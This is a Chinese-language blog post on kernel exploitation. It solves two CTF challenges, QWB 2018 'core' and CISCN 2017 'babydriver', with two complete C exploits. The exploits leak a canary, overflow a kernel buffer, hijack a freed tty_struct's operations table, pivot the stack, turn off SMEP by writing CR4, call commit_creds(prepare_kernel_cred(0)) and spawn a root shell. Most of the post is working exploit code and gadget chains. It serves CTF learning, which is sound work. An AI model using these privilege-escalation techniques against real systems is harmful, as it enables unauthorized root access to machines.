kernel pwn基础[1]
196082 慢慢好起来

这里的例题仍然是上一篇的两个例题,不过使用不同的解法。

2018 强网杯 - core

上一篇里这道题使用的方法是ROP,不过这一方法相对来说比较麻烦,构造ROP链挺恼火的。

image

可以看到并没有打开smep所以可以直接实现ret2usr。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_sp, user_rflags;

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0, vmlinux_base = 0;

void find_symbols()
{
FILE *file = fopen("/tmp/kallsyms", "r");
if (file < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, file))
{
if (commit_creds & prepare_kernel_cred)
return;
if (strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}
}
if (!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

void get_root()
{
char *(*pkc)(int) = prepare_kernel_cred;
void (*cc)(char *) = commit_creds;
(*cc)((*pkc)(0));
}

void get_shell()
{
if (!getuid())
{
puts("[*] root now!");
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if (fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;

ioctl(fd, 0x6677889C, 0x40);
char buf[0x30] = {0};
ioctl(fd, 0x6677889B, buf);
size_t canary = ((size_t *)buf)[0];

size_t payload[0x1000] = {0};
int i;
for (i = 0; i < 10; i++)
{
payload[i] = canary;
}
payload[i++] = (size_t)get_root;
payload[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
payload[i++] = 0;
payload[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;

write(fd, payload, 0x800);
ioctl(fd, 0x6677889A, 0xffffffffffff0100);
}

可以看到这里的payload少了很多

CISCN2017 - babydriver

首先不是用之前的方法需要一定的前置知识

smep

为了防止 ret2usr 攻击,内核开发者提出了 smep 保护,smep 全称 Supervisor Mode Execution Protection,是内核的一种保护措施,作用是当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误;这个保护在 arm 中被称为 PXN。

image

可以看到这里是打开了smep保护的。

系统其实是根据CR4寄存器来判断是否开启smep保护,当smep位为1代表开启,反之就是关闭。所以我们只需要可以控制这里值的gadget即可。一般是采用固定的值放入CR4寄存器mov cr4, 0x6f0

解题思路

这里不使用第一种方式的话,思路大概就是先关闭smep保护,然后ret2usr。

首先是通过UAF控制一个tty_struct结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

在这个结构体的有另一个结构体const struct tty_operations *ops;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

可以看到这里面存在许多的函数地址指针,有之前堆的基础的就可以想到这是类似与控制vtable然后伪造函数指针来劫持程序执行流。

不过不同的是,我们在堆中使用的是one_gadget,但是这里我们是把获得root的payload放在栈上,但是内核态的sp并不指向我们存放的payload的地址,所以动态调试看一下如何解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
size_t fake_tty_operations[30] = {
0xffffffff810d238d, // pop rdi; ret;
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d,
0xffffffff810d238d};
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0); // 0x2e0是tty_struct结构体的size
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY);
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2, fake_tty_struct, 32);
char buf[8] = {0};
write(fd_tty, buf, 8);

image

image

可以看到在执行到我们构造的加指针位置时的rax是指向我们构造的fake_tty_operations结构体。

然后就是寻在gadget,不过实现rsp的转移,这里找gadget不能直接在ropper出来的内容里找,因为这不是常规的gadget所以里面不存在

1
tcdy@arch-linux ~/Downloads/study_kernel % objdump -d vmlinux > gadget2.txt

image

image

这是两句拼接在一起的gadget,不过依旧可以正常使用。接着就是做ret2usr即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

size_t user_cs, user_ss, user_sp, user_rflags;

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void get_shell()
{
if (!getuid())
{
puts("[*] root now!");
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

void get_root()
{
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}

int main()
{
save_status();
size_t payload[32] = {0};
int i = 0;
payload[i++] = 0xffffffff810d238d; // pop rdi; ret;
payload[i++] = 0x6f0;
payload[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
payload[i++] = 0;
payload[i++] = (size_t)get_root;
payload[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
payload[i++] = 0;
payload[i++] = 0xffffffff814e35ef; // iretq; ret;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;

size_t pop_rax = 0xffffffff8100ce6e;
size_t mov_rsp_rax = 0xffffffff8181bfc5;

size_t fake_tty_operations[30] = {
pop_rax,
(size_t)payload,
mov_rsp_rax,
0,
0,
0,
0,
mov_rsp_rax, // write point
0,
0,
0,
0,
0,
};
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0); // 0x2e0是tty_struct结构体的size
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY);
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2, fake_tty_struct, 32);

char buf[8] = {0};
write(fd_tty, buf, 8);
}
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量